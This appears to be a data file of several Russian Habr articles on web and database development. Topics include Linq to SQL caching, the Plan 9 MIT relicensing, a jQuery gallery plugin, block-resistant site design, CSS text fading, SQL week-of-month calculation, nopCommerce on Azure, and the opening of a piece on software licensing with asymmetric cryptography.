Конечно же, если использовать DataLoadOptions, то понадобится меньше запросов для загрузки EntityRef. Но мы даже не думали заниматься динамическим построением DataLoadOptions, потому что в Linq to SQL есть баг, из-за которого при использовании DataLoadOptions для загрузки EntitySet некорректно загружается тип сущности (дискриминатор типа игнорируется и вместо дочернего типа загружается родительский).
Так как доступ к записям в БД у нас происходит через репозитории, обращения к кэшу я также вынес туда. При попытке получить кампанию или элемент кампании происходит следующее:
1. Проверяется, была ли кампания уже добавлена в текущий DataContext из кэша. Если да, то возвращаем объект, который уже был клонирован и зааттачен.
2. В случае, если, кампании нет в кэше, загружаем её в кэш. Иначе сравниваем дату последнего изменения кампании в БД с датой последнего изменения у кампании, хранящейся в кэше, и если они отличаются, перезагружаем кампанию.
3. Клонируем и аттачим кампанию и все ее элементы в текущий DataContext.
При таком подходе мы аттачим только те кампании, которые нам нужны и проверяем актуальность кэша (дату изменения кампании) только один раз за транзакцию (один раз за время жизни DataContext). Так как в репозиториях есть множество методов для получения элементов кампаний (по Id, по кампании, по уникальному строковому идентификатору) структура данных кэша получилась сложной, но с этим можно жить.
Новая архитектура кэширования прошла все интеграционные тесты и была успешно выложена на Production одного из проектов. Все стабильно работало и ничто не предвещало беды.
Что-то пошло не так
===================
После выкладки кэша на очередной проект, массово повалились ошибки: «DuplicateKeyException: cannot add an entity with a key that is already in use» при аттаче кампании к текущему DataContext. Первая мысль: «Мы ошиблись где-то в своем рекурсивном коде клонирования и аттачим одну и ту же сущность два раза.» — оказалась неверной. Ошибка была более концептуальной.
Кто виноват
===========
Виноват оказался код в конечном проекте, обращавшийся к кампании без использования кэша перед тем, как происходил аттач этой же кампании из кэша. Как я писал выше, при аттаче сущность добавляется в IdentityMap, но если перед этим сущность уже была загружена из БД, то она уже есть в IdentiyMap и попытка добавить сущность с тем же ключом вызывает ошибку. Linq to SQL не позволяет проверить есть ли сущность в IdentityMap перед аттачем. А если отлавливать и игнорировать ошибки при аттаче, кэширование получилось бы неполноценным.
Была идея убрать у репозиториев, работающих с кэшем, возможность обращаться к базе минуя кэш. Кроме того, что это далеко непростая задача, это не решило бы проблему полностью, так как у многих некэшируемых сущностей имеются EntityRef на кэшируемые сущности, а при обращении к EntityRef запрос идет минуя репозиторий.
Что делать
==========
Есть два варианта решения этой проблемы:
1. Убрать у кэшируемых репозиториев возможность обращаться к БД минуя кэш и убрать у всех некэшируемых сущностей ссылки на кэшируемые.
2. Аттачить кэш при создании DataContext до того как будут выполнены любые другие запросы к БД.
Первый вариант потребовал бы переписать половину кода. При этом получившийся код был бы более громоздким, так как везде, где было обращение к EntityRef, пришлось бы использовать методы репозиториев. Так что пришлось остановиться на втором варианте.
Так как мы аттачим сущности при создании DataContext, а не при обращении к конкретным сущностям, нам придется в начале транзакции явно указывать какие сущности из кэша нам понадобятся (загружать весь кэш каждый раз было бы явно излишним). То есть выбранный подход — это не универсальное кэширование; он всего лишь позволяет тонко настраивать использование кэша для отдельных транзакций.
Новая архитектура
=================
В некоторых наших репозиториях результаты запросов по Id к сущностям кэшировались на время транзакции в Dictionary. По факту этот кэш транзакции можно считать нашим IdentityMap, используемым поверх IdentityMap Linq to SQL. Нам оставалось только перенести кэш транзакции в базовый репозиторий и добавить в него методы доступа не только по Id, но и другими способами. В итоге, получился класс кэша транзакций, при доступе к которому любым способом каждая сущность загружается не более одного раза. Если мы, например, запросим сущность сначала по Id, а потом по уникальному строковому идентификатору, то второй запрос выполнен не будет и метод доступа вернет сущность из кэша.
Так как у нас в любом репозитории теперь есть кэш транзакции, для поддержки статического кэширования достаточно при создании DataContext заполнять кэш транзакции из статического кэша, не забывая при этом клонировать и аттачить каждую сущность. Все это выглядит следующим образом:
Если говорить конкретно о кэшировании кампаний, то загрузка статического кэша работает так:
1. В фабрику, создающую DataContext вместе со всем репозиториями, передается IQueryable от кампаний, описывающий какие кампании нам понадобятся.
2. Одним запросом вытаскиваются Id и дата последнего изменения кампаний из переданного IQueryable.
3. Для каждой кампании вытащенная дата сверяется с датой этой кампании в кэше и, в случае отличия, кампания вместе со всеми ее элементами перезагружается.
4. Все вытащенные из статического кэша сущности аттачатся и загружаются в кэши транзакций соответствующих репозиториев.
Что дальше
==========
Далее можно по мере необходимости настраивать кэширование для других транзакций. Кроме статического кэша для кампаний были созданы общие классы для статического кэширования словарей, которые меняются только при выкладке приложения. Т.е. кэширование любых сущностей, для которых не нужно проверять актуальность кэша, включить очень легко. В дальнейшем хочется расширить этот функционал, добавив возможность сбрасывать кэш через определенное время, либо за счет простых запросов в БД. Возможно, получится переделать кэширование кампаний на использование стандартных классов статического кэша с нужными настройками.
Хотя получившаяся архитектура выглядит стройно и позволяет однообразно реализовать разные виды кэширования, необходимость в начале транзакции явно указывать, какие сущности нам понадобятся, не радует. Кроме того, для того чтобы подгрузить все нужные в транзакции сущности и при этом не аттачить к контексту кучу лишних объектов, нужно знать устройство транзакции во всех подробностях.
Есть еще один вариант реализации кэша, который, к сожалению, нельзя реализовать в Linq to SQL — заменить стандартный IdentityMap своей реализацией, которая перед добавлением сущности пытается получить ее из кэша. При таком подходе кэшируемая сущность, загруженная любым способом, будет заменяться на свою копию из кэша, у которой уже загружены все EntityRef и EntitySet. Таким образом, не нужно будет делать никаких подзапросов для их получения. Если при этом добавить в наиболее часто используемые методы репозитория поиск сущности в IdentityMap перед запросом к БД, то количество запросов к БД сократится радикально. При этом искать в IdentityMap перед запросом можно любые сущности, а не только те, для которых используется статическое кэширование. Так как после получения любой сущности из БД она заменяется на свою копию из IdentityMap (если она уже там есть), за время жизни DataContext нельзя получить две разные копии одной сущности, даже если она была изменена в другой транзакции (всегда будет возвращаться первая загруженная сущность). Поэтому нет никакого смысла два раза за транзакцию запрашивать сущность, например, по ключу, и любые запросы по ключу на время транзакции можно кэшировать за счет проверки IdentityMap перед запросом.
Попыткой реализовать эту архитектуру мы займемся после того, как перейдём на Entity Framework. EF позволяет получать сущности из IdentityMap, так что как минимум частично архитектуру удастся улучшить. | https://habr.com/ru/post/255231/ | null | ru | null |
# Nokia Bell Labs передала сообществу все права на операционную систему Plan 9
Компания Nokia, которой сейчас принадлежит подразделение Bell Labs, передала сообществу все права и копирайты на ОС — и переопубликовала под свободной лицензией MIT [все четыре редакции и финальный релиз Plan 9](http://p9f.org/dl/index.html).
Таким образом, пользователи могут распространять код системы и/или модифицировать его по своему желанию, в соответствии с [условиями соглашения MIT](https://habr.com/ru/post/310976/). Поддержкой и продвижением системы займётся общественная организация [Plan 9 Foundation](https://p9f.org/).
Plan 9 писали с нуля, чтобы элегантно решить принципиальные задачи по работы в распределённой среде. Хотя эта система не получила такого широкого распространения, как Unix, но она по факту оказала большое влияние, породив несколько концепций, которые сегодня являются краеугольными камнями распределённых вычислений.
Её создателями в 80-е годы стали авторы оригинального Unix — группа в Bell Labs под руководством Роба Пайка, Кена Томпсона и Денниса Ритчи. План разработчиков состоял в том, чтобы реализовать новый дизайн с нуля. Систему назвали [Plan 9 от Bell Labs](https://en.wikipedia.org/wiki/Plan_9_from_Bell_Labs), в духе внутренней шутки, которая имела отношение к культовому B-фильму невероятно низкого качества [Plan 9 from Outer Space](https://www.imdb.com/title/tt0052077/) (рейтинг imdb 4.0).
*Сотрудники исследовательского отдела вычислительных технологий Bell Labs, которые разработали Plan 9. На переднем плане слева направо: Деннис Ритчи, Дэйв Пресотто, Роб Пайк. На заднем плане слева направо: Том Киллиан, Аллен Эйсдорфер, Том Дафф, Фил Уинтерботтом, Джим Маккай, Говард Трики и Шон Дорвард*
Система построена по модели, которая радикально отличалась от обычных операционных систем. Она структурирована как набор слабо связанных сервисов, которые могут размещаться на разных машинах. Ещё одна ключевая концепция в дизайне — это пространство имён для каждого процесса: службы могут быть сопоставлены с локальными именами, так что программы, использующие эти службы, не меняются, если текущие службы заменяются другими, предоставляющими ту же функциональность.
Например, `/dev/mouse` для процесса — это мышь на компьютере, с которого этот процесс запущен, причём это может быть не тот компьютер, на котором исполняется процесс.
Или другой пример. В Plan 9 любую программу можно без особых усилий запустить на любом количестве серверов в сети. Любая машина может использовать любые ресурсы с любой другой машины как свои собственные (файлы, процессы, диски, сеть, графика). Сейчас эту концепцию пытаются реализовать в виде контейнеров, виртуальных машин, распределённых вычислений и микросервисов — десятков уровней абстракции, но в Plan 9 она была встроена изначально как один из фундаментальных принципов. Для этой ОС не нужны «костыли» вроде Kubernetes.
Несмотря на все инновации в Plan 9, операционная система не взлетела — по крайней мере, не настолько сильно, чтобы оправдать дальнейшие инвестиции Bell Labs в разработку. Но эти инновации были реализованы во многих успешных ОС:
* концепция служб через файловую систему теперь широко распространена в Linux;
* минималистский дизайн оконной системы Plan 9 многократно воспроизведён в разных ОС;
* кодировка символов UTF-8, повсеместно используемая сегодня в браузерах, была изобретена и впервые реализована в Plan 9;
* дизайн Plan 9 предвосхитил сегодняшние микросервисные архитектуры более чем на десятилетие.
Распределённый дизайн Plan 9 живёт в текущих проектах Nokia Bell Labs, таких как [World Wide Streams](https://www.bell-labs.com/disruption/disruptive-innovation/future-autonomous-systems/world-wide-streams/), где программы обработки потоков легко устанавливаются в сети вычислительных узлов, географически распределённых по облакам 5G Edge и 5G Core.
С этой недели у Plan 9 появится новый дом — это киберпространство, поскольку Nokia передаёт все права и копирайты общественному фонду Plan 9 Foundation, [сообщается](https://www.bell-labs.com/institute/blog/plan-9-bell-labs-cyberspace/) в официальном блоге Nokia Bell Labs.
До сих пор существует активное сообщество людей, которые работают над Plan 9 и которые заинтересованы в дальнейшей эволюции этой инновационной ОС. Создание общественного фонда и публикация исходников под свободной лицензией помогут всем, кто хочет использовать программный код Plan 9 в образовательных или коммерческих целях. Лицензия MIT (X11) позволяет использовать код даже в закрытом программном обеспечении при условии, что текст лицензии предоставляется вместе с этим программным обеспечением.
**По теме:**
* [9Front](http://9front.org/), популярный форк Plan 9 (с драйверами WiFi, аудиодрайверами, поддержкой USB [и др.](http://fqa.9front.org/fqa1.html)
* [Видеоруководство](https://www.youtube.com/watch?v=dP1xVpMPn8M) по текстовому редактору Acme в Plan 9 | https://habr.com/ru/post/548912/ | null | ru | null |
# Новый jQuery плагин адаптивной галереи c автоматической группировкой
На сайте [tympanus.net](http://tympanus.net/codrops/2012/11/21/adaptive-thumbnail-pile-effect-with-automatic-grouping/) представлен новый экспериментальный jQuery плагин для создания галереи, который можно использовать для решения разных задач, например, простой показ изображении, сгруппированных определенным образом или отображение целых альбомов пользователей с фотографиями без перезагрузки страницы. Разумеется, галерея адаптивная, что позволяет удобно использовать ее как на компьютерах с большим экраном так и на мобильных устройствах.
Плагин автоматически, используя атрибут data-\*, группирует миниатюры изображений в некоторое подобие пачки (стопки). Когда пользователь кликает на нее — изображения разлетаются в разные стороны в определенные положения. Они могут быть немного повернуты или смещены
Сетка, используемая для вывода, адаптивная. При уменьшении разрешения экрана элементы таблицы перестраиваются и количество столбцов уменьшается.
Поддержка браузеров неплохая, только стоит учесть, что CSS преобразования работают только в браузерах, которые их поддерживают. Для остальных есть небольшая анимация.
#### Пример использования
Сначала нужно создать ненумерованный список с классом tp-grid:
```
* [Some title
](#)
*
*
```
Важный атрибут data-pile содержит имя группы, к которй принадлежит изображение. Причем, каждая из миниатюр может принадлежать более, чем к одной группе.
После этого вызвать плагин:
```
$( '#tp-grid' ).stapel();
```
#### Настройки плагина
```
$.Stapel.defaults = {
// Расстояние между элементами
gutter : 40,
// Угол поворота для второго и третьего элемента
// (для большей реалистичности)
pileAngles : 2,
// Настройки анимации для стопки, по которой кликнули
pileAnimation : {
openSpeed : 400,
openEasing : 'ease-in-out',
closeSpeed : 400,
closeEasing : 'ease-in-out'
},
// Настройки анимации для остальных элементов
otherPileAnimation : {
openSpeed : 400,
openEasing : 'ease-in-out',
closeSpeed : 350,
closeEasing : 'ease-in-out'
},
// Задержка для каждого элемента в стопке
delay : 0,
// Делать ли рандомный поворот для элементов
randomAngle : false,
// callback-функции
onLoad : function() { return false; },
onBeforeOpen : function( pileName ) { return false; },
onAfterOpen : function( pileName, totalItems ) { return false; },
onBeforeClose : function( pileName ) { return false; },
onAfterClose : function( pileName, totalItems ) { return false; }
};
```
Вместе с плагином идут свои стили, но их можно переопределять. Подробности в [примерах](http://tympanus.net/Development/Stapel/).
Эффект стопки создается жестко закодированным количеством изображений (два повернуты на определенный угол, одно в основании). Если есть желание изменить это, то соответствующий код в плагине выглядит так:
```
for( var i = 0, len = p.elements.length; i < len; ++i ) {
var $el = $( p.elements[i].el ),
styleCSS = { transform : 'rotate(0deg)' };
this._applyInitialTransition( $el );
if( i === len - 2 ) {
styleCSS = { transform : 'rotate(' + this.options.pileAngles + 'deg)' };
}
else if( i === len - 3 ) {
styleCSS = { transform : 'rotate(-' + this.options.pileAngles + 'deg)' };
}
else if( i !== len - 1 ) {
var extraStyle = { visibility : 'hidden' };
$el.css( extraStyle ).data( 'extraStyle', extraStyle );
}
...
```
В нем к последним двум элементам применяется поворот на количество градусов, определенных в настройках, а остальные просто скрываются. Очень легко поменять этот код, чтобы задать нужное количество «брошенных» изображений.
#### Применение в Drupal
Пользователь [mrded](http://habrahabr.ru/users/mrded/) разрабатывает [модуль для Drupal](http://drupal.org/project/views_stapel) с интеграцией плагина и [модуля Views](http://drupal.org/project/views).
#### Ссылки
[Проект на GitHub](https://github.com/codrops/Stapel).
[Примеры работы](http://tympanus.net/Development/Stapel/).
Статья подготовлена по материалам [tympanus.net](http://tympanus.net/codrops/2012/11/21/adaptive-thumbnail-pile-effect-with-automatic-grouping/) | https://habr.com/ru/post/159733/ | null | ru | null |
# Конструирование сайта, защищенного от блокировок
Привет всем! В связи с ростом блокировок, в том числе необоснованных, сайтов со стороны государства, вашему вниманию предлагается описание идеи, а также **прототип настроек сайта**, защищенного от блокировок по конкретному пути и доменному имени. Идеи по защите от блокировок:
* со звездочкой
* по адресу IP
будут изложены в других постах. Кому интересна тема, заходите под кат.
Ссылка
------
<https://github.com/http-abs/http-abs/>
Описание идеи
-------------
Принцип защиты заключается в том, что каждый пользователь получает уникальную пару из индивидуального (под)домена и префикса пути для просмотра сайта. Назовем эту пару *идентификатором агента*.
**Примечание 1**Если по каким-то причинам, вы можете управлять только ограниченным набором поддоменов, пользователь будет конечно, разделять свой поддомен с некоторыми другими пользователями.
### Как это защитит от блокировки?
* Если блокировка ограничивается путем и/или точным доменом, то отправив заявку на блокировку такого пути и/или домена, оператор блокировок заблокирует только свой собственный доступ, не затрагивая интересов других пользователей.
**Примечание 2**Конечно, в случае ограничения, указанного выше, жизнь станет сложнее у тех пользователей, которым не повезло разделить поддомен с оператором блокировок. Но не сильно.
* Когда и если вы, как администратор сайта, обнаружите блокировку, вы можете исключить (допустим, заменить на котиков) выдачу спорного материала по данному адресу: это никак не повлияет на выдачу того же материала другим пользователям.
**Примечание 3**При условии предыдущего примечания.
* Локальная замена контента даст вам возможность попытаться исключить ссылку из списка блокировок, избегая например тотальной блокировки по доменному имени.
### А как же тогда делиться ссылками?
Легко. Идентификатор агента, выделенный пользователю для просмотра сайта, сохраняется у него в куках. Пользователь просто делится ссылкой из адресной строки.
* Если у пользователя еще нет соответствующей куки, переход по ссылке, содержащей чужой идентификатор, инициирует процесс выделения нового идентификатора агента, с редиректом на индивидуальный URL просмотра материала, включающий в себя этот идентификатор.
* Если у пользователя уже есть кука с идентификатором агента, переход по ссылке, содержащей чужой идентификатор, инициирует редирект на индивидуальный URL просмотра материала для данного пользователя, с его собственным идентификатором.
### А зачем сохранять куку?
Чтобы изолировать оператора блокировок. Если повезет, после нескольких блокировок, его можно будет даже идентифицировать.
### Не усложнит ли это жизнь пользователю?
Ничуть, от него не требуется в буквальном смысле ничего. Он заходит на сайт обычным образом, читает материалы и делится ссылками. В его жизни меняется только вид адресной строки.
### Усложнит ли это жизнь разработчику сервера?
Возможно. Ему не придется учитывать префикс пути и поддомен, входящие в идентификатор агента: их будет обрезать обработчик на первой стадии обработки входящего URL. Однако, чтобы сделать процесс совершенно прозрачным, возможно придется еще потрудиться.
### Сможет ли оператор блокировок обойти изоляцию?
Конечно. Но ему будет гораздо труднее доказывать необходимость блокировки бесконечного количества ссылок на материал, сформированных по замысловатому правилу, при том, что правила могут и измениться на еще более замысловатые.
### Оператор просто заблокирует все нафиг со звездочкой и адресом IP
Такое развитие событий не исключено, но эти случаи я хочу рассмотреть отдельно в другой статье. Возможно, мы с вами вместе придумаем что-то дополнительно в комментариях.
Реализация
----------
### Архитектура
Для того, чтобы сделать процесс максимально прозрачным, код сосредоточен в сервере фронтенда `nginx`. Это позволяет ставить под защиту самые разнообразные прикладные серверы практически без ограничений.
Поскольку обработка запроса будет весьма нетривиальной, использован дополнительный пакет `libnginx-mod-http-lua`, внедряющий язык `lua` в процесс обработки запросов под nginx.
### Дополнительные условия
В идеале, обработка должна производиться так, чтобы бакенд (аплинк, прикладной сервер) — вовсе не был озабочен тем, поставили ли его под защиту. Ему приходят запросы по URL, из которого убраны все элементы идентификатора агента (назовем такие *чистыми URL*). Чтобы не переделывать возвращаемые страницы, переход по чистому URL с установленной кукой идентификатора агента, вызывает редирект на индивидуальный URL.
Фронтенд не хранит состояние нигде, кроме куки идентификатора агента.
На браузере не задействовано ни одной строки кода javascript. Используется только протокол HTTP.
### Ограничения альфа-реализации
Фактически, реализован лишь proof-of-concept, позволяющий наблюдать реальную работу алгоритма. Не решено множество деталей, связанных с упаковкой продукта: модульность, выделение и проверка параметров и так далее.
Для поддоменов, выбрана схема с фиксированным набором поддоменов, пригодная для использования в паре с файлом `hosts`, без инсталляции дополнительного сервера DNS.
Формат префикса пути предопределен и представляет из себя 32 цифры по основанию 16.
Установленные параметры запуска
===============================
Параметры запуска установлены пока прямо в коде.
Набор поддоменов (a, b, c) установлен в переменной и может быть расширен.
Домен установлен, как `example.com`.
Бакенд ожидается на точке <http://127.0.0.1:8000>
Выводы
------
Растущая угроза внезапных блокировок заставляет готовиться заранее и изобретать методы защиты от них владельцев даже вполне лояльных сайтов. Такая защита вполне возможна, не требует никаких телодвижений со стороны пользователя и может быть реализована вполне скромным объемом усилий со стороны администратора сайта. | https://habr.com/ru/post/344536/ | null | ru | null |
# Затухание текста средствами CSS
Иногда бывает необходимость при верстке сайта вывести на экран только часть текста. Чтобы пользователю было понятно, что далее следует продолжение можно, например, поставить троеточие или ссылку «читать далее». Но есть весьма красивый способ сделать так, чтобы текст постепенно затухал.
Чтобы было понятно о чем идет речь сразу приведу [пример](http://jsfiddle.net/bLud7zpq/1/).
Из всего материала, который мне удалось найти за день более всего мне подходил простой и понятный способ, описанный [здесь](http://habrahabr.ru/post/131390/). Но он имеет существенный минус: тень сложно позиционировать и боковые края приходится отделять, используя отступы.
Для тех, кто ищет простой способ сделать затемнение текста привожу свой простой пример.
Итак, нам понадобится только один блок, в котором будет текст, который нужно затемнить:
```
Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aenean commodo ligula eget dolor. Aenean massa. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Donec quam felis, ultricies nec, pellentesque eu, pretium quis, sem. Nulla consequat massa quis enim.
```
И всего два класса CSS:
```
#textbox{
max-height:100px;
overflow:hidden;
margin-top:-20px;
}
#textbox:before{
content:"";
display:block;
height:20px;
position:relative;
top:80px;
background-image:linear-gradient(to bottom, rgba(255, 255, 255, 0), #fff 75%)
}
```
Теперь суть:
Используя псевдокласс before мы создаем маленький блок с градиентной заливкой. По умолчанию он располагается вверху блока с текстом. Используя position:relative отодвигаем этот блок вниз так, чтобы он закрывал одну (или несколько) последних строчек текста. Все.
Из преимуществ можно выделить:
— простота реализации (используем только css)
— выделяемый текст
Из минусов:
— Не работает в IE до 9 версии включительно (кто б сомневался)
— Подходит для блоков с фиксированной высотой | https://habr.com/ru/post/241485/ | null | ru | null |
# SQL Server — Узнать неделю месяца из недели года
Заинтересовался вопросом, вот если дана дата, то как узнать к какой неделе месяца она принадлежит? Чтобы знать, к примеру, что 7.05.2009 это вторая неделя мая, а 15.06.2009 третья неделя июня. В SQL Server есть встроенная функция, позволяющая определить, к какой неделе года (от 1 до 53) относится заданная дата. Может это поможет? Вот например можно узнать на какой неделе закончился предыдущий месяц и вычесть из текущей. Например, прошлый месяц закончился на 22 неделе, а новый начался 23, следующая неделя 24, потом 25… Отнимем 22 из каждой недели текущего месяца и получим соответственно 1, 2, 3… неделю.
`Неделя_месяца = текущая_неделя_года - последняя_неделя_пм`
Это все было бы хорошо, если бы не одно но. Новый месяц почти всегда начинается посередине недели. И если прошлый месяц закончился на 22-ой неделе, то текущий месяц имеет неплохие шансы начаться тоже с 22-ой недели. Если начнем вычитать то получим месяцы начиная с нулевого (22 — 22), 0,1,2… непорядок. Надо бы, как нибудь сделать, чтобы если неделя на которую закончился старый месяц и начался новый совпадают, то к числу недель прибавить единичку. Воспользуемся возможностями деления. Если делить целые (int), то результат деления тоже будет целым числом, а дробная часть будет отброшена. Таким образом
`Неделя_месяца = текущая_неделя_года + (последняя_неделя_пм/первая_неделя_тм - последняя_неделя_пм)`
Теперь нумерация недель месяца будет начинаться правильно, с единицы, а не с нуля. Всё? Ещё нет. Мы упустили из виду первый месяц года, то есть январь. Если мы из его первой недели станем вычитать последнюю неделю, предыдущего месяца, то есть последнюю неделю декабря прошлого года, то -52 (1 — 53) это не совсем то что нам нужно. Обычно чтобы избавиться от неугодного числа его умножат на ноль. Поступим так же. Сделаем так что если месяц первый то число которое нужно отнять от его недель умножается на 0, а если месяц не первый, то на 1. Интересно, как можно превратить единицу в ноль, а все остальные числа, которое больше единицы, в единицу. Здесь нам тоже поможет деление целых чисел, в придачу с возведением в степень. Вот так:
`2 - 21/X`
Теперь уравнение по нахождению недели месяца будет выглядеть так:
`Неделя_месяца = текущая_неделя_года + (последняя_неделя_пм/первая_неделя_тм - последняя_неделя_пм)х(2 - 21/номер\_месяца)`
Переведем все это на язык Transact SQL
`Номер текущей недели: DATEPART(wk, @dt)
Номер первой недели текущего месяца: DATEPART(wk, DATEADD(MONTH, MONTH(@dt)-1, convert(date,DATENAME(yy, @dt))))
Номер последней недели прошлого месяца: DATEPART(wk, DATEADD(DAY, -1, DATEADD(MONTH, MONTH(@dt)-1, convert(date,DATENAME(yy, @dt)))))`
Получим такое громоздкое выражение:
`DATEPART(wk, @dt) + (DATEPART(wk, DATEADD(DAY, -1, DATEADD(MONTH, MONTH(@dt)-1, convert(date,DATENAME(yy, @dt)))))/DATEPART(wk,
DATEADD(MONTH, MONTH(@dt)-1, convert(date,DATENAME(yy, @dt)))) - DATEPART(wk, DATEADD(DAY, -1, DATEADD(MONTH, MONTH(@dt)-1,
convert(date,DATENAME(yy, @dt))))))*(2 - POWER(2, 1/MONTH(@dt)))`
Если в переменной @dt находится дата, то это выражение возвращает неделю месяца (от 1 до 6) к которой эта дата относится. Впрочем это слишком громоздкий способ. На просторах сети встречаются варианты гораздо короче и элегантнее. Например такой:
`DATEPART(week, @dt) - DATEPART(week, DATEADD(month, DATEDIFF(month, 0, @dt), 0))+1`.
Вроде бы работает. | https://habr.com/ru/post/62122/ | null | ru | null |
# nopCommerce CMS на ASP.NET MVC: обзор функционала новой версии
[nopCommerce](http://www.nopcommerce.com/) – это движок для создания интернет-магазинов с открытым исходным кодом и написанный на ASP.NET MVC. Разрабатывается проект нашими соотечественниками из города Ярославль, и на сегодняйшний день на его основе работает более 20,000 сайтов, включая такие бренды как Volvo, Turkish Airlines, Reebok.
Несколько дней назад вышла новая версия продукта 3.70, в которой разработчики добавли полную поддержку Windows Azure. В предыдущих версий владельцы магазинов могли использовать только один instance в Azure, теперь же была добавлена поддержка нескольких. Следовательно, по сути этот функционал можно использовать на веб фермах. Это открываем нам отличные возможности для масштабирования приложения.
Предположим, что вы уже скачали (<http://www.nopcommerce.com/downloads.aspx>) и установили (<http://docs.nopcommerce.com/display/nc/Installing+nopCommerce>) nopCommerce в Azure. Итак, что же было сделано для поддержки Azure, и как все это настроить и включить:
### Хранилище BLOB-объектов
Теперь вы можете настроить хранение ресурсов (например, изображения продуктов и категорий) как BLOB-объектов, а не просто хранить на файловой системе, как это сделано по-умолчанию. Более подробно о службе хранилищ в Azure можно почитать тут (<https://azure.microsoft.com/ru-ru/documentation/articles/storage-introduction/>).
**Как настроить в nopCommerce:**
* Разумеется, сначала вам необходимо создать учетную запись BLOB хранилища в Windows Azure. Эта процедура хороша описана тут (<https://azure.microsoft.com/ru-ru/documentation/articles/storage-create-storage-account/>)
* После этого вы сможете получить connection string, container и endpoint от этого хранилища.
* Теперь необходимо открыть файл web.config в nopCommerce. Найдите XML элемент AzureBlobStorage и введите туда полученные ранее connection string, container и endpoint
* Как только это будет сделано, ваши ресурсы будут храниться в Azure BLOB
### Кеширование и распределенные сессии
Разумеется, в любом распределенном приложении нам надо иметь поддержку распределенного кеширования и сессий. Иначе различные экземпляры приложения будут использовать разные данные. Мы выбрали Redis (<http://redis.io/>) для реализации этого функционала, так как Azure и многие другие облачные сервисы уже поддерживают его.
**Как настроить в nopCommerce:**
* Сначала установим Redis. О том, как использовать Redis в Azure хорошо написано тут (<https://azure.microsoft.com/ru-ru/documentation/articles/cache-dotnet-how-to-use-azure-redis-cache/>).
* Как только предыдущий шаг завершен, нам надо скопировать и указан connection string от Redis в web.config файле в nopCommerce. Найдите XML элемент «RedisCaching», установите атрибут «Enabled” в «True», а потом укажите в следующем атрибуте сам connection string к Redis. Теперь все кешированные данные хранятся в Redis
* Теперь проделаем тоже самое для сессий. Снова откройте web.config файл, раскомметируйте элемент «sessionState» и укажите в нем ту жу самую connection string, что использовалась на предыдуем шаге
```
```
### Фоновые задачи (schedule tasks)
И последний шаг. nopCommerce использует фоновые задачи для различные действий, которые должны выполняться автоматически. Например, отправка почты или обновление курсов валют. Разумеется, когда у нас несколько экземпляров (instance) приложения, то такие задачи должны выполняться только на одном из них. Иначе может случиться ситуация, когда одно и тоже письмо придет покупателю дважды (от каждого из экземляра приложения).
**nopCommerce**
Все также откроем web.config файл. Найдем XML элемент «WebFarms” и установим его атрибут “MultipleInstancesEnabled” в “True”. Для веб фермы этого будет достаточно, но в Windows Azure там же потребуется установить атрибут «RunOnAzureWebsites» в «True»
Вот и все. Теперь nopCommerce готов в полноценной работе в Azure на нескольких экземплярах (instance). Вы больше не должны думать о том, хватит ли серверной мощности, чтобы обслуживать большое количество покупателей. | https://habr.com/ru/post/276641/ | null | ru | null |
# Асимметричная криптография при лицензировании подписочного ПО на практическом примере
Речь пойдет о том, как устроена защита десктопных программ, а также о типичной системе лицензирования и активации ключей. Активация применяется практически в любом коммерческом ПО, и то, на каких принципах она строится, довольно интересно, поэтому я решил написать эту статью.
В статье читайте:
* Про «лицензию», «активацию», «хэш-функции», «цифровую подпись», «асимметричную криптографию» и (вкратце) про RSA и DSA, без формул и математики.
* Чем механизм подписки (subscription) отличается от традиционного лицензирования.
* Применение описанных принципов на примере EXE-протектора VMProtect.
Статья сугубо практическая, т.к. эти же самые идеи мы применяем в нашем стартапе — платформе RentSoft (мы рассказывали о нем в [предыдущей](http://habrahabr.ru/blogs/development/122385/) статье). Фактически, я описываю, что находится у нас «под капотом», а также сообщаю о тех «граблях», на которые мы в свое время наступили. Ближе к концу статьи будет практическая демонстрация — иллюстрация механизма взаимодействия нашей платформы с протектором EXE-файлов VMProtect, нашим партнером.
Итак, приступим.
### Как подписочная программа работает с сервером лицензий
Т.к. мы продвигаем идею ежемесячных микросписаний за использование коммерческого ПО (вместо традиционной продажи дорогих «разовых» ключей), для нас представляет интерес то, как программа должна взаимодействовать с сервером лицензий на *периодической* основе, чтобы ее нельзя было «обмануть».
> Подписка — это возможность работы программы за ежемесячную абонентскую плату. Когда оплата не поступает, программа блокируется — и наоборот, если деньги пришли, она продолжает работать.
Естественно, продукт должен как-то определять, может ли он запускаться в каждый конкретный момент времени или нет (заблокировалась ли подписка из-за недостатка средств на счете). Для этого он использует доступ в интернет и регулярные (например, раз в 5 дней) обращения к специальному *серверу лицензий*.
Существует один ненадежный способ определения, разрешено ли программе работать. Она может спросить сервер лицензий: «Вот ключ, который ввел в меня пользователь. Я могу с ним сейчас работать?». Сервер лицензий ответит — «Да, можешь» или «Нет, подписка блокирована». Конечно, этот способ плох тем, что позволяет злоумышленнику легко подделать ответ сервера, к тому же программе потребуется доступ в интернет при каждом своем запуске (ведь она не может легко сохранить статус «могу работать» без того, чтобы это место было обнаружено злоумышленником).
Чтобы обеспечить безопасность, применяют другую схему, когда сервер лицензий выдает не ответ «да/нет», а некоторый квант информации — как бы **временное разрешение** на работу в течение небольшого срока (те же самые 5 дней), и программа при принятии решения опирается уже на этот квант.
Но чтобы понять всю схему, проведем небольшой экскурс в традиционные способы работы с «бессрочными» ключами и механизмы асимметричной криптографии.
#### Что такое активация ключа?
Традиционно при электронной покупке той или иной программы пользователю высылают сгенерированный специально для него ключ (или лицензию, или серийный номер — кто как называет). Пользователь затем вводит этот ключ в запущенный продукт и, в конечном итоге, *активирует* его (заставляет работать).
Как программа, приняв ключ, определяет, что он достоверен? Для этого существует два основных способа:
1. Можно проверить, что ключ был сгенерирован по специальному алгоритму, известному программе, и, если это не так, блокировать работу. Так поступали в старину, когда еще не было всеобщей интернетизации. Естественно, в данном случае ключ может быть украден и в дальнейшем использован на другом компьютере, так что данный способ ненадежен.
2. Программа может попросить для активации «обратной связи» у своего разработчика: пользователь сообщит разработчику ключ и какую-то дополнительную информацию о себе, а разработчик на основе этих сведений поймет, разрешить ли программе работать (*активировать* ее или нет).
